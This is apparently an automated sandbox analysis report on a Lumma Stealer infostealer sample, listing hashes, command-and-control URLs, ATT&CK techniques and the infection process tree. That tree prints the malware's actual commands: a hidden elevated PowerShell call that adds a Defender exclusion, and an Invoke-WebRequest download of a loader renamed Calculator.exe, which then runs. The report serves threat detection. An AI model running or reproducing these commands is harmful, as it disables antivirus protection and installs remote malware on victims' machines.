lumma | 21aa69b1128ae32071cdaa9fd796c723683e9a9241933161a58358783ad29509

Analysis

max time kernel
149s
max time network
152s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
01/06/2026, 18:13

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
tmpjmzj9zyp.exe
Size 33.2MB
Sample260601-wtx2cacw6x
SHA256 21aa69b1128ae32071cdaa9fd796c723683e9a9241933161a58358783ad29509
MD5 44e3e6651a16a721835abc2447c2895b
SHA1 f1a0ba043787733564c98dd4a0de380d96a23c43
SHA512 7a874c2fdb613a78e9b3213838b30ae822631ec4e9f46a4d2b2b521e6b34f485cba82f1e469e99bcec8ee72fd2b045150564861bbe00d89111d1706065a368d2
SSDEEP 393216:S76L6otUitqtH7wHtXq2pt2jbOCacCFIK0fpP9HF4VW8yfJnVQx4urYsvNulL7Ni:S0LoCOn+2Js4urYkNulLBiue
TLSH
T10F776B0772E60195E8B7D2388AA75103D773B8634731CADF316D06152FBBAD0AA7B721
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

defense_evasion discovery execution lumma privilege_escalation stealer

Malware Config

Extracted

Family

lumma

https://blackswmxc.top/bgry
https://voznessxyy.life/bnaz
https://zmedtipp.live/mnvzx
https://interpwthc.digital/juab
https://clatteqrpq.digital/kljz
https://overcovtcg.top/juhd
https://ninepicchf.bet/lznd
https://blackljjwc.run/banj

Attributes

build_id
201c87c7719c2d3e495cfe9473fbe738

Signatures

Family: Lumma Stealer, LummaC
Lumma or LummaC is an infostealer written in C++ first seen in August 2022.
stealer lumma

Badlisted process makes network request 2 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
6	1512	powershell.exe
8	1512	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 5 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2740	powershell.exe
1512	powershell.exe
2740	powershell.exe
3168	powershell.exe
1512	powershell.exe

Downloads MZ/PE file 1 IoCs

flow	pid	Process
8	1512	powershell.exe

Executes dropped EXE 1 IoCs

pid	Process
1712	Calculator.exe

Drops file in System32 directory 2 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\test.txt	tmpjmzj9zyp.exe
File created	C:\Windows\System32\test.txt	tmpjmzj9zyp.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 1712 set thread context of 3316	1712	Calculator.exe	104

Access Token Manipulation: Create Process with Token 1 TTPs 1 IoCs

defense_evasion privilege_escalation

Create Process with Token

T1134.002

pid	Process
3896	cmd.exe

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MSBuild.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
2740	powershell.exe
2740	powershell.exe
3168	powershell.exe
1512	powershell.exe
3168	powershell.exe
1512	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	2740	powershell.exe
Token: SeDebugPrivilege	3168	powershell.exe
Token: SeDebugPrivilege	1512	powershell.exe

Suspicious use of WriteProcessMemory 14 IoCs

description	pid	Process	procid_target
PID 4204 wrote to memory of 3896	4204	tmpjmzj9zyp.exe	86
PID 3896 wrote to memory of 2740	3896	cmd.exe	88
PID 2740 wrote to memory of 3168	2740	powershell.exe	89
PID 4204 wrote to memory of 3724	4204	tmpjmzj9zyp.exe	91
PID 3724 wrote to memory of 1512	3724	cmd.exe	93
PID 4204 wrote to memory of 4384	4204	tmpjmzj9zyp.exe	98
PID 4384 wrote to memory of 1712	4384	cmd.exe	100
PID 1712 wrote to memory of 4812	1712	Calculator.exe	103
PID 1712 wrote to memory of 3316	1712	Calculator.exe	104
PID 1712 wrote to memory of 3316	1712	Calculator.exe	104
PID 1712 wrote to memory of 3316	1712	Calculator.exe	104
PID 1712 wrote to memory of 3316	1712	Calculator.exe	104
PID 1712 wrote to memory of 3316	1712	Calculator.exe	104
PID 1712 wrote to memory of 3316	1712	Calculator.exe	104

C:\Users\Admin\AppData\Local\Temp\tmpjmzj9zyp.exe
"C:\Users\Admin\AppData\Local\Temp\tmpjmzj9zyp.exe"
1⤵
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
PID:4204
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -WindowStyle Hidden -Command "Start-Process powershell -ArgumentList 'Add-MpPreference -ExclusionPath $env:APPDATA' -Verb RunAs -WindowStyle Hidden""
  2⤵
  - Access Token Manipulation: Create Process with Token
  - Suspicious use of WriteProcessMemory
  PID:3896
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -WindowStyle Hidden -Command "Start-Process powershell -ArgumentList 'Add-MpPreference -ExclusionPath $env:APPDATA' -Verb RunAs -WindowStyle Hidden"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:2740
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath $env:APPDATA
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3168
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -WindowStyle Hidden -Command "Invoke-WebRequest -Uri 'https://github.com/Komanxa11/helloworld/releases/download/hello/LoaderV.exe' -OutFile 'C:\Users\Admin\AppData\Roaming\Calculator.exe'""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3724
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -WindowStyle Hidden -Command "Invoke-WebRequest -Uri 'https://github.com/Komanxa11/helloworld/releases/download/hello/LoaderV.exe' -OutFile 'C:\Users\Admin\AppData\Roaming\Calculator.exe'"
    3⤵
    - Badlisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Downloads MZ/PE file
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1512
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c ""C:\Users\Admin\AppData\Roaming\Calculator.exe""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4384
- - C:\Users\Admin\AppData\Roaming\Calculator.exe
    "C:\Users\Admin\AppData\Roaming\Calculator.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of SetThreadContext
    - Suspicious use of WriteProcessMemory
    PID:1712
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
      4⤵
      PID:4812
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
      4⤵
      System Location Discovery: System Language Discovery
      PID:3316

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Access Token Manipulation

T1134

Create Process with Token

T1134.002

Defense Evasion

Access Token Manipulation

T1134

Create Process with Token

T1134.002

Credential Access

Discovery

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 b1f292b6199aa29c7fafbca007e5f9e3f68edcbbca1965bc828cc92dc0f18bb8
MD5 6cf293cb4d80be23433eecf74ddb5503
SHA1 24fe4752df102c2ef492954d6b046cb5512ad408
SHA512 0f91e2da0da8794b9797c7b50eb5dfd27bde4546ceb6902a776664ce887dd6f12a0dd8773d612ccc76dfd029cd280778a0f0ae17ce679b3d2ffd968dd7e94a00
TLSH
T148510F323375F1E4C8567F071E68198053BF4395EA94AF5CB298621ED92741B8F222F3
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 64B
SHA256 3fdb51ad127b4046a8890cb9bdf470360f203ed5e4e2698b7437eb52d6e24f5d
MD5 92fc413be28b72c89d986d669b3af030
SHA1 0acb2284957bcc4f8752c363fc21d2b7b446fd0a
SHA512 a841d598d48c3e6fff8d495fc26288aca7885c71b5061d16b0b9bd983def0502986bf20366a837325063ac61e5aa0723ebff756736635ae8cd6aec5ec0c0fd92
MD5 SHA1 SHA512

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 a9d2e6d35c5e9b94326042c6f2fe7ef381f25a0c02b8a559fc1ee888ccffb18e
MD5 1dffbab5ecc6d06e8b259ad505a0dc2a
SHA1 0938ec61e4af55d7ee9d12708fdc55c72ccb090c
SHA512 93209a16400574416f6f992c2d403acc399179fc911818c4967c9a0211924486878578d1c98ba3bc9e269012603c96ab118a291bf53c57d8af9ab48f9e7b9b76
TLSH
T17F117637B39C89A1CC86163A409DAC1172B683C741AEDEDF6BC0C214E1AF994CB71290
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_i4d1cdy4.nke.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_i4d1cdy4.nke.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

Calculator.exe

Path C:\Users\Admin\AppData\Roaming\Calculator.exe
Size 1.1MB
SHA256 182c40662e972766a84e7c4984bbaec2e4ba51a6c80dbca9028e13ee2c4a3daa
MD5 281b7cf4959c04e83e7dbfe81f23b282
SHA1 ae2932a46d5ad95fafd0e44d490b403ea88ff5e2
SHA512 333d4001eb5d9315976de56c3a0306497356e89a44f52b610bff332a0dde4bed6a049086ddbea09f93272888f50dfec4eeaab7db13c0aaa02ac8719427ab3105
SSDEEP 24576:VjALzBapbqggx0rB7o5vAa+aywJiWSvAa+aywJiWjt:m44T0rB7ol3BJM3BJV
TLSH
T1F835E044C62E61EDED3640B25A1361C4B83D747FC62CDFBAD1ECDBB53B562806A18B18
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/2740-2-0x00000217549D0000-0x00000217549E0000-memory.dmp

Download

memory/2740-3-0x0000021754F70000-0x0000021754F92000-memory.dmp

Download

memory/2740-13-0x000002176D5B0000-0x000002176D6FE000-memory.dmp

Download

memory/3316-38-0x0000000000400000-0x0000000000460000-memory.dmp

Download

memory/3316-39-0x0000000000400000-0x0000000000460000-memory.dmp

Download